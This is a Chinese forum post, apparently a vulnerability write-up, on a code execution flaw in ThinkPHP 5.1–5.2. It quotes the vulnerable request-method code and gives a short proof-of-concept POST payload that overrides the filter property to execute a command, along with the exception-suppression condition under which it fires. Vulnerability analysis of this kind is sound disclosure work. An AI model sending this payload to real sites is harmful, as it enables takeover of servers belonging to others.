搜索
查看: 6454|回复: 0

Thinkphp5.1 ~ 5.2 全版本代码执行

[复制链接]

330

主题

177

回帖

1071

积分

vip用户

积分
1071

注册会员活跃会员热心会员

QQ
发表于 2019-1-24 13:29:12 来自手机 | 显示全部楼层 |阅读模式
漏洞分析:

文件位置:\thinkphp\library\think\Request.php

[pre]
    /**
     * 当前的请求类型
     * @access public
     * @param  bool $origin  是否获取原始请求类型
     * @return string
     */
    public function method($origin = false)
    {
        if ($origin) {
            // 获取原始请求类型
            return $this->server('REQUEST_METHOD') ?: 'GET';
        } elseif (!$this->method) {
            if (isset($_POST[$this->config['var_method']])) {
                $this->method    = strtoupper($_POST[$this->config['var_method']]);
                $method          = strtolower($this->method);
                $this->{$method} = $_POST;
            } elseif ($this->server('HTTP_X_HTTP_METHOD_OVERRIDE')) {
                $this->method = strtoupper($this->server('HTTP_X_HTTP_METHOD_OVERRIDE'));
            } else {
                $this->method = $this->server('REQUEST_METHOD') ?: 'GET';
            }
        }

        return $this->method;
    }

$this->method    = strtoupper($_POST[$this->config['var_method']]);
$method          = strtolower($this->method);
$this->{$method} = $_POST;
[/pre]
$method变量是$this->method,其同等于POST的”_method”参数值

然后该处存在一个变量覆盖

我们可以覆盖 $filter 属性值(POC如下)


c=exec&f=calc.exe&&_method=filter&

访问如下图所示:

Thinkphp5.1 ~ 5.2 全版本代码执行-ChaBug安全
会爆出一个警告级别的异常,导致程序终止

如何触发:

如果设置忽略异常提示,如下图:

Thinkphp5.1 ~ 5.2 全版本代码执行-ChaBug安全
本身项目发布就需要屏蔽异常和错误所以这个配置是一个正常的配置。
13-28-41-1.png
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表